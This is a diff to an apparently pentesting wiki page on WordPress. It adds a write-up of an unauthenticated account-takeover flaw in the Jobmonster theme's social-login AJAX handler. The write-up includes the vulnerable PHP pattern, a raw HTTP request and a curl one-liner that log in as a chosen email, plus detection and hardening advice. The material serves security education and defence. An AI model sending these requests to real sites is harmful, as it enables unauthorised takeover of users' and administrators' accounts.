diff --git a/src/network-services-pentesting/pentesting-web/wordpress.md b/src/network-services-pentesting/pentesting-web/wordpress.md
index 549507bfc..7eea42ba0 100644
--- a/src/network-services-pentesting/pentesting-web/wordpress.md
+++ b/src/network-services-pentesting/pentesting-web/wordpress.md
@@ -766,6 +766,92 @@ curl -G https://victim.com/wp-admin/admin-post.php \
 ```
 The server responds with the contents of `wp-config.php`, leaking DB credentials and auth keys.
 
+## Unauthenticated account takeover via Social Login AJAX fallback (Jobmonster Theme <= 4.7.9)
+
+Many themes/plugins ship "social login" helpers exposed via admin-ajax.php. If an unauthenticated AJAX action (wp_ajax_nopriv_...) trusts client-supplied identifiers when provider data is missing and then calls wp_set_auth_cookie(), this becomes a full authentication bypass.
+
+Typical flawed pattern (simplified)
+
+```php
+public function check_login() {
+    // ... request parsing ...
+    switch ($_POST['using']) {
+        case 'fb':     /* set $user_email from verified Facebook token */ break;
+        case 'google': /* set $user_email from verified Google token   */ break;
+        // other providers ...
+        default: /* unsupported/missing provider – execution continues */ break;
+    }
+
+    // FALLBACK: trust POSTed "id" as email if provider data missing
+    $user_email = !empty($user_email)
+        ? $user_email
+        : (!empty($_POST['id']) ? esc_attr($_POST['id']) : '');
+
+    if (empty($user_email)) {
+        wp_send_json(['status' => 'not_user']);
+    }
+
+    $user = get_user_by('email', $user_email);
+    if ($user) {
+        wp_set_auth_cookie($user->ID, true); // 🔥 logs requester in as that user
+        wp_send_json(['status' => 'success', 'message' => 'Login successfully.']);
+    }
+    wp_send_json(['status' => 'not_user']);
+}
+// add_action('wp_ajax_nopriv_<social_login_action>', [$this, 'check_login']);
+```
+
+Why it’s exploitable
+
+- Unauthenticated reachability via admin-ajax.php (wp_ajax_nopriv_… action).
+- No nonce/capability checks before state change.
+- Missing OAuth/OpenID provider verification; default branch accepts attacker input.
+- get_user_by('email', $_POST['id']) followed by wp_set_auth_cookie($uid) authenticates the requester as any existing email address.
+
+Exploitation (unauthenticated)
+
+- Prerequisites: attacker can reach /wp-admin/admin-ajax.php and knows/guesses a valid user email.
+- Set provider to an unsupported value (or omit it) to hit the default branch and pass id=<victim_email>.
+
+```http
+POST /wp-admin/admin-ajax.php HTTP/1.1
+Host: victim.tld
+Content-Type: application/x-www-form-urlencoded
+
+action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com
+```
+
+```bash
+curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \
+  -d "action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com"
+```
+
+Expected success indicators
+
+- HTTP 200 with JSON body like {"status":"success","message":"Login successfully."}.
+- Set-Cookie: wordpress_logged_in_* for the victim user; subsequent requests are authenticated.
+
+Finding the action name
+
+- Inspect the theme/plugin for add_action('wp_ajax_nopriv_...', '...') registrations in social login code (e.g., framework/add-ons/social-login/class-social-login.php).
+- Grep for wp_set_auth_cookie(), get_user_by('email', ...) inside AJAX handlers.
+
+Detection checklist
+
+- Web logs showing unauthenticated POSTs to /wp-admin/admin-ajax.php with the social-login action and id=<email>.
+- 200 responses with the success JSON immediately preceding authenticated traffic from the same IP/User-Agent.
+
+Hardening
+
+- Do not derive identity from client input. Only accept emails/IDs originating from a validated provider token/ID.
+- Require CSRF nonces and capability checks even for login helpers; avoid registering wp_ajax_nopriv_ unless strictly necessary.
+- Validate and verify OAuth/OIDC responses server-side; reject missing/invalid providers (no fallback to POST id).
+- Consider temporarily disabling social login or virtually patching at the edge (block the vulnerable action) until fixed.
+
+Patched behaviour (Jobmonster 4.8.0)
+
+- Removed the insecure fallback from $_POST['id']; $user_email must originate from verified provider branches in switch($_POST['using']).
+
 ## References
 
 - [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/)
@@ -778,4 +864,6 @@ The server responds with the contents of `wp-config.php`, leaking DB credentials
 - [Unpatched Privilege Escalation in Service Finder Bookings Plugin](https://patchstack.com/articles/unpatched-privilege-escalation-in-service-finder-bookings-plugin/)
 - [Service Finder Bookings privilege escalation – Patchstack DB entry](https://patchstack.com/database/wordpress/plugin/sf-booking/vulnerability/wordpress-service-finder-booking-6-0-privilege-escalation-vulnerability)
 
+- [Unauthenticated Broken Authentication Vulnerability in WordPress Jobmonster Theme](https://patchstack.com/articles/unauthenticated-broken-authentication-vulnerability-in-wordpress-jobmonster-theme/)
+
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